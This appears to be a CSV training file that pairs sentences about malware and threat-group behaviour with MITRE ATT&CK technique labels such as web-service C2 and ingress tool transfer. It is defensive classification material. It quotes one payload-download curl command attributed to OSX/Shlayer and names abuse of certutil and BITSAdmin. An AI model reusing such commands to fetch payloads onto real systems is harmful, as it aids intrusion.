KARAE can use public cloud-based storage providers for command and control.,['T1102.002 - Bidirectional Communication'],fine_tune
Kazuar has used compromised WordPress blogs as C2 servers.,['T1102.002 - Bidirectional Communication'],fine_tune
LOWBALL uses the Dropbox cloud storage service for command and control.,['T1102.002 - Bidirectional Communication'],fine_tune
"Lazarus Group has used GitHub as C2, pulling hosted image payloads then committing command execution output to files in specific directories.",['T1102.002 - Bidirectional Communication'],fine_tune
MuddyWater has used web services including OneHub to distribute remote access tools.,['T1102.002 - Bidirectional Communication'],fine_tune
One variant of CloudDuke uses a Microsoft OneDrive account to exchange commands and stolen data with its operators.,['T1102.002 - Bidirectional Communication'],fine_tune
Orz has used Technet and Pastebin web pages for command and control.,['T1102.002 - Bidirectional Communication'],fine_tune
POORAIM has used AOL Instant Messenger for C2.,['T1102.002 - Bidirectional Communication'],fine_tune
RogueRobin has used Google Drive as a Command and Control channel.,['T1102.002 - Bidirectional Communication'],fine_tune
SLOWDRIFT uses cloud based services for C2.,['T1102.002 - Bidirectional Communication'],fine_tune
Sandworm Team has used the Telegram Bot API from Telegram Messenger to send and receive commands to its Python backdoor. Sandworm Team also used legitimate M.E.Doc software update check requests for sending and receiving commands and hosted malicious payloads on putdrive.com.,['T1102.002 - Bidirectional Communication'],fine_tune
The CALENDAR malware communicates through the use of events in Google Calendar.,['T1102.002 - Bidirectional Communication'],fine_tune
UBoatRAT has used GitHub and a public blog service in Hong Kong for C2 communications.,['T1102.002 - Bidirectional Communication'],fine_tune
ZIRCONIUM has used Dropbox for C2 allowing upload and download of files as well as execution of arbitrary commands.,['T1102.002 - Bidirectional Communication'],fine_tune
yty communicates to the C2 server by retrieving a Google Doc.,['T1102.002 - Bidirectional Communication'],fine_tune
EVILNUM has used a one-way communication method via GitLab and Digital Point to perform C2.,['T1102.003 - One-Way Communication'],fine_tune
Leviathan has received C2 instructions from user profiles created on legitimate websites such as Github and TechNet.,['T1102.003 - One-Way Communication'],fine_tune
Metamorfo has downloaded a zip file for execution on the system.,['T1102.003 - One-Way Communication'],fine_tune
OnionDuke uses Twitter as a backup C2.,['T1102.003 - One-Way Communication'],fine_tune
"The ""tDiscoverer"" variant of HAMMERTOSS establishes a C2 channel by downloading resources from Web services like Twitter and GitHub. HAMMERTOSS binaries contain an algorithm that generates a different Twitter handle for the malware to check for instructions every day.",['T1102.003 - One-Way Communication'],fine_tune
APT41 used the storescyncsvc.dll BEACON backdoor to download a secondary backdoor.,['T1104 - Multi-Stage Channels'],fine_tune
"BACKSPACE attempts to avoid detection by checking a first stage command and control server to determine if it should connect to the second stage server, which performs ""louder"" interactions with the malware.",['T1104 - Multi-Stage Channels'],fine_tune
"BLACKCOFFEE uses Microsoft’s TechNet Web portal to obtain an encoded tag containing the IP address of a command and control server and then communicates separately with that IP address for C2. If the C2 server is discovered or shut down, the threat actors can update the encoded IP address on TechNet to maintain control of the victims’ machines.",['T1104 - Multi-Stage Channels'],fine_tune
Lazarus Group has used multi-stage malware components that inject later stages into separate processes.,['T1104 - Multi-Stage Channels'],fine_tune
"MuddyWater has used one C2 to obtain enumeration scripts and monitor web logs, but a different C2 to send data back.",['T1104 - Multi-Stage Channels'],fine_tune
The Bazar loader is used to download and execute the Bazar backdoor.,['T1104 - Multi-Stage Channels'],fine_tune
Valak can download additional modules and malware capable of using separate C2 channels.,['T1104 - Multi-Stage Channels'],fine_tune
"APT29 has downloaded additional tools, such as TEARDROP malware and Cobalt Strike, to a compromised host following initial access.",['T1105 - Ingress Tool Transfer'],fine_tune
APT33 has downloaded additional files and programs from its C2 server.,['T1105 - Ingress Tool Transfer'],fine_tune
APT34 can download remote files onto victims.,['T1105 - Ingress Tool Transfer'],fine_tune
APT37 has downloaded second stage malware from compromised websites.,['T1105 - Ingress Tool Transfer'],fine_tune
"APT38 used a backdoor, NESTEGG, that has the capability to download and upload files to and from a victim’s machine.",['T1105 - Ingress Tool Transfer'],fine_tune
APT39 has downloaded tools to compromised hosts.,['T1105 - Ingress Tool Transfer'],fine_tune
Action RAT has the ability to download additional payloads onto an infected machine.,['T1105 - Ingress Tool Transfer'],fine_tune
Agent.btz attempts to download an encrypted binary from a specified domain.,['T1105 - Ingress Tool Transfer'],fine_tune
"Ajax Security Team has used Wrapper/Gholee, custom-developed malware, which downloaded additional malware to the infected system.",['T1105 - Ingress Tool Transfer'],fine_tune
Andariel has downloaded additional tools and malware onto compromised hosts.,['T1105 - Ingress Tool Transfer'],fine_tune
Aria-body has the ability to download additional payloads from C2.,['T1105 - Ingress Tool Transfer'],fine_tune
Astaroth uses certutil and BITSAdmin to download additional malware.,['T1105 - Ingress Tool Transfer'],fine_tune
"Attor can download additional plugins, updates and other files.",['T1105 - Ingress Tool Transfer'],fine_tune
AuditCred can download files and additional malware.,['T1105 - Ingress Tool Transfer'],fine_tune
BADFLICK has download files from its C2 server.,['T1105 - Ingress Tool Transfer'],fine_tune
"BADNEWS is capable of downloading additional files through C2 channels, including a new version of itself.",['T1105 - Ingress Tool Transfer'],fine_tune
BBK has the ability to download files from C2 to the infected host.,['T1105 - Ingress Tool Transfer'],fine_tune
BISCUIT has a command to download a file from the C2 server.,['T1105 - Ingress Tool Transfer'],fine_tune
BITSAdmin can be used to create BITS Jobs to upload and/or download files.,['T1105 - Ingress Tool Transfer'],fine_tune
BITTER has downloaded additional malware and tools onto a compromised host.,['T1105 - Ingress Tool Transfer'],fine_tune
BLINDINGCAN has downloaded files to a victim machine.,['T1105 - Ingress Tool Transfer'],fine_tune
BLUELIGHT can download additional files onto the host.,['T1105 - Ingress Tool Transfer'],fine_tune
BONDUPDATER can download or upload files from its C2 server.,['T1105 - Ingress Tool Transfer'],fine_tune
"BRONZE BUTLER has used various tools to download files, including DGet (a similar tool to wget).",['T1105 - Ingress Tool Transfer'],fine_tune
Backdoor.Oldrea can download additional modules from C2.,['T1105 - Ingress Tool Transfer'],fine_tune
BackdoorDiplomacy has downloaded additional files and tools onto a compromised host.,['T1105 - Ingress Tool Transfer'],fine_tune
BadPatch can download and execute or update malware.,['T1105 - Ingress Tool Transfer'],fine_tune
Bankshot uploads files and secondary payloads to the victim's machine.,['T1105 - Ingress Tool Transfer'],fine_tune
"Bazar can download and deploy additional payloads, including ransomware and post-exploitation frameworks such as Cobalt Strike.",['T1105 - Ingress Tool Transfer'],fine_tune
BendyBear is designed to download an implant from a C2 server.,['T1105 - Ingress Tool Transfer'],fine_tune
Bisonal has the capability to download files to execute on the victim’s machine.,['T1105 - Ingress Tool Transfer'],fine_tune
BlackMould has the ability to download files to the victim's machine.,['T1105 - Ingress Tool Transfer'],fine_tune
BoomBox has the ability to download next stage malware components to a compromised system.,['T1105 - Ingress Tool Transfer'],fine_tune
BoxCaon can download files.,['T1105 - Ingress Tool Transfer'],fine_tune
Briba downloads files onto infected hosts.,['T1105 - Ingress Tool Transfer'],fine_tune
Bumblebee can download and execute additional payloads including through the use of a `Dex` command.,['T1105 - Ingress Tool Transfer'],fine_tune
CARROTBALL has the ability to download and install a remote payload.,['T1105 - Ingress Tool Transfer'],fine_tune
CHOPSTICK is capable of performing remote file transmission.,['T1105 - Ingress Tool Transfer'],fine_tune
CORESHELL downloads another dropper from its C2 server.,['T1105 - Ingress Tool Transfer'],fine_tune
CSPY Downloader can download additional tools to a compromised host.,['T1105 - Ingress Tool Transfer'],fine_tune
Calisto has the capability to upload and download files to the victim's machine.,['T1105 - Ingress Tool Transfer'],fine_tune
CallMe has the capability to download a file to the victim from the C2 server.,['T1105 - Ingress Tool Transfer'],fine_tune
Cannon can download a payload for execution.,['T1105 - Ingress Tool Transfer'],fine_tune
Carberp can download and execute new plugins from the C2 server.,['T1105 - Ingress Tool Transfer'],fine_tune
Caterpillar WebShell has a module to download and upload files to the system.,['T1105 - Ingress Tool Transfer'],fine_tune
"ChChes is capable of downloading files, including additional modules.",['T1105 - Ingress Tool Transfer'],fine_tune
Chaes can download additional files onto an infected machine.,['T1105 - Ingress Tool Transfer'],fine_tune
Chimera has remotely copied tools and malware onto targeted systems.,['T1105 - Ingress Tool Transfer'],fine_tune
China Chopper's server component can download remote files.,['T1105 - Ingress Tool Transfer'],fine_tune
Chrommme can download its code from C2.,['T1105 - Ingress Tool Transfer'],fine_tune
Cobalt Group has used public sites such as github.com and sendspace.com to upload files and then download them to victim computers. The group's JavaScript backdoor is also capable of downloading files.,['T1105 - Ingress Tool Transfer'],fine_tune
Conficker downloads an HTTP server to the infected machine.,['T1105 - Ingress Tool Transfer'],fine_tune
Confucius has downloaded additional files and payloads onto a compromised host following initial access.,['T1105 - Ingress Tool Transfer'],fine_tune
CookieMiner can download additional scripts from a web server.,['T1105 - Ingress Tool Transfer'],fine_tune
CostaBricks can download additional payloads onto a compromised host.,['T1105 - Ingress Tool Transfer'],fine_tune
CostaBricks has been used to load SombRAT onto a compromised host.,['T1105 - Ingress Tool Transfer'],fine_tune
CreepyDrive can download files to the compromised host.,['T1105 - Ingress Tool Transfer'],fine_tune
Cryptoistic has the ability to send and receive files.,['T1105 - Ingress Tool Transfer'],fine_tune
Cuba can download files from its C2 server.,['T1105 - Ingress Tool Transfer'],fine_tune
Cyclops Blink has the ability to download files to target systems.,['T1105 - Ingress Tool Transfer'],fine_tune
DDKONG downloads and uploads files on the victim’s machine.,['T1105 - Ingress Tool Transfer'],fine_tune
DOGCALL can download and execute additional payloads.,['T1105 - Ingress Tool Transfer'],fine_tune
Dacls can download its payload from a C2 server.,['T1105 - Ingress Tool Transfer'],fine_tune
DanBot can download additional files to a targeted system.,['T1105 - Ingress Tool Transfer'],fine_tune
DarkComet can load any files onto the infected machine to execute.,['T1105 - Ingress Tool Transfer'],fine_tune
Darkhotel has used first-stage payloads that download additional malware from C2 servers.,['T1105 - Ingress Tool Transfer'],fine_tune
Diavol can receive configuration updates and additional payloads including wscpy.exe from C2.,['T1105 - Ingress Tool Transfer'],fine_tune
DnsSystem can download files to compromised systems after receiving a command with the string `downloaddd`.,['T1105 - Ingress Tool Transfer'],fine_tune
Doki has downloaded scripts from C2.,['T1105 - Ingress Tool Transfer'],fine_tune
Donut can download and execute previously staged shellcode payloads.,['T1105 - Ingress Tool Transfer'],fine_tune
Dragonfly downloaded tools from a remote server after they were inside the victim network.,['T1105 - Ingress Tool Transfer'],fine_tune
Dragonfly has copied and installed tools for operations once in the victim environment.,['T1105 - Ingress Tool Transfer'],fine_tune
DropBook can download and execute additional files.,['T1105 - Ingress Tool Transfer'],fine_tune
Drovorub can download files to a compromised host.,['T1105 - Ingress Tool Transfer'],fine_tune
Dtrack’s can download and upload a file to the victim’s computer.,['T1105 - Ingress Tool Transfer'],fine_tune
"During C0015, the threat actors downloaded additional tools and files onto a compromised network.",['T1105 - Ingress Tool Transfer'],fine_tune
"During CostaRicto, the threat actors downloaded malware and tools onto a compromised host.",['T1105 - Ingress Tool Transfer'],fine_tune
"During Frankenstein, the threat actors downloaded files and tools onto a victim machine.",['T1105 - Ingress Tool Transfer'],fine_tune
"During Operation Sharpshooter, additional payloads were downloaded after a target was infected with a first-stage downloader.",['T1105 - Ingress Tool Transfer'],fine_tune
Dyre has a command to download and executes additional files.,['T1105 - Ingress Tool Transfer'],fine_tune
Egregor has the ability to download files from its C2 server.,['T1105 - Ingress Tool Transfer'],fine_tune
Ember Bear has used tools to download malicious code.,['T1105 - Ingress Tool Transfer'],fine_tune
Emissary has the capability to download files from the C2 server.,['T1105 - Ingress Tool Transfer'],fine_tune
Empire can upload and download to and from a victim machine.,['T1105 - Ingress Tool Transfer'],fine_tune
EvilBunny has downloaded additional Lua scripts from the C2.,['T1105 - Ingress Tool Transfer'],fine_tune
Evilnum can deploy additional components or tools as needed.,['T1105 - Ingress Tool Transfer'],fine_tune
Exaramel for Linux has a command to download a file from  and to a remote C2 server.,['T1105 - Ingress Tool Transfer'],fine_tune
Exaramel has a command to download a file from a remote server to execute.,['T1105 - Ingress Tool Transfer'],fine_tune
Explosive has a function to download a file to the infected system.,['T1105 - Ingress Tool Transfer'],fine_tune
"FIN7 has downloaded additional malware to execute on the victim's machine, including by using a PowerShell script to launch shellcode that retrieves an additional payload.",['T1105 - Ingress Tool Transfer'],fine_tune
FIN8 has used remote code execution to download subsequent payloads.,['T1105 - Ingress Tool Transfer'],fine_tune
FYAnti can download additional payloads to a compromised host.,['T1105 - Ingress Tool Transfer'],fine_tune
Felismus can download files from remote servers.,['T1105 - Ingress Tool Transfer'],fine_tune
Flagpro can download additional malware from the C2 server.,['T1105 - Ingress Tool Transfer'],fine_tune
Frankenstein has uploaded and downloaded files to utilize additional plugins.,['T1105 - Ingress Tool Transfer'],fine_tune
FunnyDream can download additional files onto a compromised host.,['T1105 - Ingress Tool Transfer'],fine_tune
"GALLIUM dropped additional tools to victims during their operation, including portqry.exe, a renamed cmd.exe file, winrar, and HTRAN.",['T1105 - Ingress Tool Transfer'],fine_tune
Gamaredon Group has downloaded additional malware and tools onto a compromised host.,['T1105 - Ingress Tool Transfer'],fine_tune
Gazer can execute a task to download a file.,['T1105 - Ingress Tool Transfer'],fine_tune
Gelsemium can download additional plug-ins to a compromised host.,['T1105 - Ingress Tool Transfer'],fine_tune
Gold Dragon can download additional components from the C2 server.,['T1105 - Ingress Tool Transfer'],fine_tune
GoldMax can download and execute additional files.,['T1105 - Ingress Tool Transfer'],fine_tune
"GoldenSpy constantly attempts to download and execute files from the remote C2, including GoldenSpy itself if not found on the system.",['T1105 - Ingress Tool Transfer'],fine_tune
Gorgon Group malware can download additional files from C2 servers.,['T1105 - Ingress Tool Transfer'],fine_tune
Grandoreiro can download its second stage from a hardcoded URL within the loader's code.,['T1105 - Ingress Tool Transfer'],fine_tune
GreyEnergy can download additional modules and payloads.,['T1105 - Ingress Tool Transfer'],fine_tune
GrimAgent has the ability to download and execute additional payloads.,['T1105 - Ingress Tool Transfer'],fine_tune
GuLoader can download further malware for execution on the victim's machine.,['T1105 - Ingress Tool Transfer'],fine_tune
H1N1 contains a command to download and execute a file from a remotely hosted URL using WinINet HTTP requests.,['T1105 - Ingress Tool Transfer'],fine_tune
HAFNIUM has downloaded malware and tools--including Nishang and PowerCat--onto a compromised host.,['T1105 - Ingress Tool Transfer'],fine_tune
HAWKBALL has downloaded additional files from the C2.,['T1105 - Ingress Tool Transfer'],fine_tune
HTTPBrowser is capable of writing a file to the compromised system from the C2 server.,['T1105 - Ingress Tool Transfer'],fine_tune
Hancitor has the ability to download additional files from C2.,['T1105 - Ingress Tool Transfer'],fine_tune
Helminth can download additional files.,['T1105 - Ingress Tool Transfer'],fine_tune
HiddenWasp downloads a tar compressed archive from a download server to the system.,['T1105 - Ingress Tool Transfer'],fine_tune
Hikit has the ability to download files to a compromised host.,['T1105 - Ingress Tool Transfer'],fine_tune
Hildegard has downloaded additional scripts that build and run Monero cryptocurrency miners.,['T1105 - Ingress Tool Transfer'],fine_tune
HotCroissant has the ability to upload a file from the command and control (C2) server to the victim machine.,['T1105 - Ingress Tool Transfer'],fine_tune
Hydraq creates a backdoor through which remote attackers can download files and additional malware components.,['T1105 - Ingress Tool Transfer'],fine_tune
HyperBro has the ability to download additional files.,['T1105 - Ingress Tool Transfer'],fine_tune
IcedID has the ability to download additional modules and a configuration file from C2.,['T1105 - Ingress Tool Transfer'],fine_tune
IndigoZebra has downloaded additional files and tools from its C2 server.,['T1105 - Ingress Tool Transfer'],fine_tune
"Indrik Spider has downloaded additional scripts, malware, and tools onto a compromised host.",['T1105 - Ingress Tool Transfer'],fine_tune
InvisiMole can upload files to the victim's machine for operations.,['T1105 - Ingress Tool Transfer'],fine_tune
Ixeshe can download and execute additional files.,['T1105 - Ingress Tool Transfer'],fine_tune
JPIN can download files and upgrade itself.,['T1105 - Ingress Tool Transfer'],fine_tune
Javali can download payloads from remote C2 servers.,['T1105 - Ingress Tool Transfer'],fine_tune
KEYMARBLE can upload files to the victim’s machine and can download additional payloads.,['T1105 - Ingress Tool Transfer'],fine_tune
KOCTOPUS has executed a PowerShell command to download a file to the system.,['T1105 - Ingress Tool Transfer'],fine_tune
KONNI can download files and execute them on the victim’s machine.,['T1105 - Ingress Tool Transfer'],fine_tune
Kasidet has the ability to download and execute additional files.,['T1105 - Ingress Tool Transfer'],fine_tune
"Kazuar downloads additional plug-ins to load on the victim’s machine, including the ability to upgrade and replace its own binary.",['T1105 - Ingress Tool Transfer'],fine_tune
Ke3chang has used tools to download files to compromised machines.,['T1105 - Ingress Tool Transfer'],fine_tune
Kessel can download additional modules from the C2 server.,['T1105 - Ingress Tool Transfer'],fine_tune
Kevin can download files to the compromised host.,['T1105 - Ingress Tool Transfer'],fine_tune
KeyBoy has a download and upload functionality.,['T1105 - Ingress Tool Transfer'],fine_tune
Kinsing has downloaded additional lateral movement scripts from C2.,['T1105 - Ingress Tool Transfer'],fine_tune
Kwampirs downloads additional files from C2 servers.,['T1105 - Ingress Tool Transfer'],fine_tune
"LOWBALL uses the Dropbox API to request two files, one of which is the same file as the one dropped by the malicious email attachment. This is most likely meant to be a mechanism to update the compromised host with a new version of the LOWBALL malware.",['T1105 - Ingress Tool Transfer'],fine_tune
"Lazarus Group has downloaded files, malware, and tools from its C2 onto a compromised host.",['T1105 - Ingress Tool Transfer'],fine_tune
LazyScripter had downloaded additional tools to a compromised host.,['T1105 - Ingress Tool Transfer'],fine_tune
Leviathan has downloaded additional scripts and files from adversary-controlled servers.,['T1105 - Ingress Tool Transfer'],fine_tune
LitePower has the ability to download payloads containing system commands to a compromised host.,['T1105 - Ingress Tool Transfer'],fine_tune
LoudMiner used SCP to update the miner from the C2.,['T1105 - Ingress Tool Transfer'],fine_tune
Lucifer can download and execute a replica of itself using certutil.,['T1105 - Ingress Tool Transfer'],fine_tune
MCMD can upload additional files to a compromised host.,['T1105 - Ingress Tool Transfer'],fine_tune
"MacMa has downloaded additional files, including an exploit for used privilege escalation.",['T1105 - Ingress Tool Transfer'],fine_tune
Machete can download additional files for execution on the victim’s machine.,['T1105 - Ingress Tool Transfer'],fine_tune
"MarkiRAT can download additional files and tools from its C2 server, including through the use of BITSAdmin.",['T1105 - Ingress Tool Transfer'],fine_tune
MechaFlounder has the ability to upload and download files to and from a compromised host.,['T1105 - Ingress Tool Transfer'],fine_tune
Melcoz has the ability to download additional files to a compromised host.,['T1105 - Ingress Tool Transfer'],fine_tune
Metamorfo has used MSI files to download additional files to execute.,['T1105 - Ingress Tool Transfer'],fine_tune
Milan has received files from C2 and stored them in log folders beginning with the character sequence `a9850d2f`.,['T1105 - Ingress Tool Transfer'],fine_tune
MiniDuke can download additional encrypted backdoors onto the victim via GIF files.,['T1105 - Ingress Tool Transfer'],fine_tune
Mis-Type has downloaded additional malware and files onto a compromised host.,['T1105 - Ingress Tool Transfer'],fine_tune
Misdat is capable of downloading files from the C2.,['T1105 - Ingress Tool Transfer'],fine_tune
Mivast has the capability to download and execute .exe files.,['T1105 - Ingress Tool Transfer'],fine_tune
MobileOrder has a command to download a file from the C2 server to the victim mobile device's SD card.,['T1105 - Ingress Tool Transfer'],fine_tune
MoleNet can download additional payloads from the C2.,['T1105 - Ingress Tool Transfer'],fine_tune
Molerats used executables to download malicious files from different sources.,['T1105 - Ingress Tool Transfer'],fine_tune
Mongall can download files to targeted systems.,['T1105 - Ingress Tool Transfer'],fine_tune
More_eggs can download and launch additional payloads.,['T1105 - Ingress Tool Transfer'],fine_tune
"Moses Staff has downloaded and installed web shells to following path ""C:\inetpub\wwwroot\aspnet_client\system_web\IISpool.aspx"".",['T1105 - Ingress Tool Transfer'],fine_tune
Mosquito can upload and download files to the victim.,['T1105 - Ingress Tool Transfer'],fine_tune
MuddyWater has used malware that can upload additional files to the victim’s machine.,['T1105 - Ingress Tool Transfer'],fine_tune
Mustang Panda has downloaded additional executables following the initial infection stage.,['T1105 - Ingress Tool Transfer'],fine_tune
NDiskMonitor can download and execute a file from given URL.,['T1105 - Ingress Tool Transfer'],fine_tune
NETWIRE can downloaded payloads from C2 to the compromised host.,['T1105 - Ingress Tool Transfer'],fine_tune
NOKKI has downloaded a remote module for execution.,['T1105 - Ingress Tool Transfer'],fine_tune
NanoCore has the capability to download and activate additional modules for execution.,['T1105 - Ingress Tool Transfer'],fine_tune
Nebulae can download files from C2.,['T1105 - Ingress Tool Transfer'],fine_tune
Neoichor can download additional files onto a compromised host.,['T1105 - Ingress Tool Transfer'],fine_tune
Nidiran can download and execute files.,['T1105 - Ingress Tool Transfer'],fine_tune
Nomadic Octopus has used malicious macros to download additional files to the victim's machine.,['T1105 - Ingress Tool Transfer'],fine_tune
"OSX/Shlayer can download payloads, and extract bytes from files. OSX/Shlayer uses the ""curl -fsL ""$url"" >$tmp_path"" command to download malicious payloads into a temporary directory.",['T1105 - Ingress Tool Transfer'],fine_tune
OSX_OCEANLOTUS.D has a command to download and execute a file on the victim’s machine.,['T1105 - Ingress Tool Transfer'],fine_tune
OilRig can download remote files onto victims.,['T1105 - Ingress Tool Transfer'],fine_tune
Operation Wocao can download additional files to the infected system.,['T1105 - Ingress Tool Transfer'],fine_tune
Operators deploying Netwalker have used psexec and certutil to retrieve the Netwalker payload.,"['T1105 - Ingress Tool Transfer', 'T1569.002 - System Services: Service Execution']",fine_tune
Orz can download files onto the victim.,['T1105 - Ingress Tool Transfer'],fine_tune
OutSteel can download files from its C2 server.,['T1105 - Ingress Tool Transfer'],fine_tune
P.A.S. Webshell can upload and download files to and from compromised hosts.,['T1105 - Ingress Tool Transfer'],fine_tune
P8RAT can download additional payloads to a target system.,['T1105 - Ingress Tool Transfer'],fine_tune
PLAINTEE has downloaded and executed additional plugins.,['T1105 - Ingress Tool Transfer'],fine_tune
PLATINUM has transferred files using the Intel® Active Management Technology (AMT) Serial-over-LAN (SOL) channel.,['T1105 - Ingress Tool Transfer'],fine_tune
POSHSPY downloads and executes additional PowerShell code and Windows binaries.,['T1105 - Ingress Tool Transfer'],fine_tune
POWERSOURCE has been observed being used to download TEXTMATE and the Cobalt Strike Beacon payload onto victims.,['T1105 - Ingress Tool Transfer'],fine_tune
POWERSTATS can retrieve and execute additional PowerShell payloads from the C2 server.,['T1105 - Ingress Tool Transfer'],fine_tune
POWRUNER can download or upload files from its C2 server.,['T1105 - Ingress Tool Transfer'],fine_tune
Pasam creates a backdoor through which remote attackers can upload files.,['T1105 - Ingress Tool Transfer'],fine_tune
"Penquin can execute the command code ""do_download"" to retrieve remote files from C2.",['T1105 - Ingress Tool Transfer'],fine_tune
Peppy can download and execute remote files.,['T1105 - Ingress Tool Transfer'],fine_tune
PipeMon can install additional modules via C2 commands.,['T1105 - Ingress Tool Transfer'],fine_tune
Pisloader has a command to upload a file to the victim machine.,['T1105 - Ingress Tool Transfer'],fine_tune
PlugX has a module to download and execute files on the compromised machine.,['T1105 - Ingress Tool Transfer'],fine_tune
PoisonIvy creates a backdoor through which remote attackers can upload files.,['T1105 - Ingress Tool Transfer'],fine_tune
PolyglotDuke can retrieve payloads from the C2 server.,['T1105 - Ingress Tool Transfer'],fine_tune
Pony can download additional files onto the infected system.,['T1105 - Ingress Tool Transfer'],fine_tune
PowerDuke has a command to download a file.,['T1105 - Ingress Tool Transfer'],fine_tune
PowerLess can download additional payloads to a compromised host.,['T1105 - Ingress Tool Transfer'],fine_tune
PowerPunch can download payloads from adversary infrastructure.,['T1105 - Ingress Tool Transfer'],fine_tune
Psylo has a command to download a file to the system from its C2 server.,['T1105 - Ingress Tool Transfer'],fine_tune
Pupy can upload and download to/from a victim machine.,['T1105 - Ingress Tool Transfer'],fine_tune
QakBot has the ability to download additional components and malware.,['T1105 - Ingress Tool Transfer'],fine_tune
QuietSieve can download and execute payloads on a target host.,['T1105 - Ingress Tool Transfer'],fine_tune
RATANKBA uploads and downloads information.,['T1105 - Ingress Tool Transfer'],fine_tune
RCSession has the ability to drop additional files to an infected machine.,['T1105 - Ingress Tool Transfer'],fine_tune
RDAT can download files via DNS.,['T1105 - Ingress Tool Transfer'],fine_tune
REvil can download a copy of itself from an attacker controlled IP address to the victim machine.,['T1105 - Ingress Tool Transfer'],fine_tune
RGDoor uploads and downloads files to and from the victim’s machine.,['T1105 - Ingress Tool Transfer'],fine_tune
ROKRAT can retrieve additional malicious payloads from its C2 server.,['T1105 - Ingress Tool Transfer'],fine_tune
RTM can download additional files.,['T1105 - Ingress Tool Transfer'],fine_tune
RainyDay can download files to a compromised host.,['T1105 - Ingress Tool Transfer'],fine_tune
"Rancor has downloaded additional malware, including by using certutil.",['T1105 - Ingress Tool Transfer'],fine_tune
RedLeaves is capable of downloading a file from a specified URL.,['T1105 - Ingress Tool Transfer'],fine_tune
RegDuke can download files from C2.,['T1105 - Ingress Tool Transfer'],fine_tune
Remcos can upload and download files to and from the victim’s machine.,['T1105 - Ingress Tool Transfer'],fine_tune
RemoteUtilities can upload and download files to and from a target machine.,['T1105 - Ingress Tool Transfer'],fine_tune
Revenge RAT has the ability to upload and download files.,['T1105 - Ingress Tool Transfer'],fine_tune
RogueRobin can save a new file to the system from the C2 server.,['T1105 - Ingress Tool Transfer'],fine_tune
S-Type can download additional files onto a compromised host.,['T1105 - Ingress Tool Transfer'],fine_tune
SDBbot has the ability to download a DLL from C2 to a compromised host.,['T1105 - Ingress Tool Transfer'],fine_tune
SHUTTERSPEED can download and execute an arbitary executable.,['T1105 - Ingress Tool Transfer'],fine_tune
"SILENTTRINITY can load additional files and tools, including Mimikatz.",['T1105 - Ingress Tool Transfer'],fine_tune
SLOTHFULMEDIA has downloaded files onto a victim machine.,['T1105 - Ingress Tool Transfer'],fine_tune
SLOWDRIFT downloads additional payloads.,['T1105 - Ingress Tool Transfer'],fine_tune
SMOKEDHAM has used Powershell to download UltraVNC and Ngrok from third-party file sharing sites.,['T1105 - Ingress Tool Transfer'],fine_tune
"SUNBURST delivered different payloads, including TEARDROP in at least one instance.",['T1105 - Ingress Tool Transfer'],fine_tune
Saint Bot can download additional files onto a compromised host.,['T1105 - Ingress Tool Transfer'],fine_tune
Sakula has the capability to download files.,['T1105 - Ingress Tool Transfer'],fine_tune
SeaDuke is capable of uploading and downloading files.,['T1105 - Ingress Tool Transfer'],fine_tune
Seasalt has a command to download additional files.,['T1105 - Ingress Tool Transfer'],fine_tune
ServHelper may download additional files to execute.,['T1105 - Ingress Tool Transfer'],fine_tune
Seth-Locker has the ability to download and execute files on a compromised host.,['T1105 - Ingress Tool Transfer'],fine_tune
Shamoon can download an executable to run on the victim.,['T1105 - Ingress Tool Transfer'],fine_tune
Shark  can download additional files from its C2 via HTTP or DNS.,['T1105 - Ingress Tool Transfer'],fine_tune
SharpStage has the ability to download and execute additional payloads via a DropBox API.,['T1105 - Ingress Tool Transfer'],fine_tune
Sharpshooter downloaded additional payloads after a target was infected with a first-stage downloader.,['T1105 - Ingress Tool Transfer'],fine_tune
ShimRat can download additional files.,['T1105 - Ingress Tool Transfer'],fine_tune
ShimRatReporter had the ability to download additional payloads.,['T1105 - Ingress Tool Transfer'],fine_tune
Sibot can download and execute a payload onto a compromised system.,['T1105 - Ingress Tool Transfer'],fine_tune
SideCopy has delivered trojanized executables via spearphishing emails that contacts actor-controlled servers to download malicious payloads.,['T1105 - Ingress Tool Transfer'],fine_tune
SideTwist has the ability to download additional files.,['T1105 - Ingress Tool Transfer'],fine_tune
Sidewinder has used LNK files to download remote files to the victim's network.,['T1105 - Ingress Tool Transfer'],fine_tune
Silence has downloaded additional modules and malware to victim’s machines.,['T1105 - Ingress Tool Transfer'],fine_tune
Skidmap has the ability to download files on an infected host.,['T1105 - Ingress Tool Transfer'],fine_tune
"Sliver can upload files from the C2 server to the victim machine using the ""upload"" command.",['T1105 - Ingress Tool Transfer'],fine_tune
Small Sieve has the ability to download files.,['T1105 - Ingress Tool Transfer'],fine_tune
SodaMaster has the ability to download additional payloads from C2 to the targeted system.,['T1105 - Ingress Tool Transfer'],fine_tune
SpeakUp downloads and executes additional files from a remote server.,['T1105 - Ingress Tool Transfer'],fine_tune
SpicyOmelette can download malicious files from threat actor controlled AWS URL's.,['T1105 - Ingress Tool Transfer'],fine_tune
Squirrelwaffle has downloaded and executed additional encoded payloads.,['T1105 - Ingress Tool Transfer'],fine_tune
StoneDrill has downloaded and dropped temporary files containing scripts; it additionally has a function to upload files from the victims machine.,['T1105 - Ingress Tool Transfer'],fine_tune
StrifeWater can download updates and auxiliary modules.,['T1105 - Ingress Tool Transfer'],fine_tune
StrongPity can download files to specified targets.,['T1105 - Ingress Tool Transfer'],fine_tune
SysUpdate has the ability to download files to a compromised host.,['T1105 - Ingress Tool Transfer'],fine_tune
TA505 has downloaded additional malware to execute on victim systems.,['T1105 - Ingress Tool Transfer'],fine_tune
TA551 has retrieved DLLs and installer binaries for malware execution from C2.,['T1105 - Ingress Tool Transfer'],fine_tune
TAINTEDSCRIBE can download additional modules from its C2 server.,['T1105 - Ingress Tool Transfer'],fine_tune
TSCookie has the ability to upload and download files to and from the infected host.,['T1105 - Ingress Tool Transfer'],fine_tune
TURNEDUP is capable of downloading additional files.,['T1105 - Ingress Tool Transfer'],fine_tune
TYPEFRAME can upload and download files to the victim’s machine.,['T1105 - Ingress Tool Transfer'],fine_tune
Taidoor has downloaded additional files onto a compromised host.,['T1105 - Ingress Tool Transfer'],fine_tune
"TeamTNT has the ""curl"" and ""wget"" commands as well as batch scripts to download new tools.",['T1105 - Ingress Tool Transfer'],fine_tune
The Ritsol backdoor trojan used by Elderwood can download files onto a compromised host from a remote location.,['T1105 - Ingress Tool Transfer'],fine_tune
The Winnti for Windows dropper can place malicious payloads on targeted systems.,['T1105 - Ingress Tool Transfer'],fine_tune
ThiefQuest can download and execute payloads in-memory or from disk.,['T1105 - Ingress Tool Transfer'],fine_tune
"Threat Group-3390 has downloaded additional malware and tools, including through the use of `certutil`, onto a compromised host .",['T1105 - Ingress Tool Transfer'],fine_tune
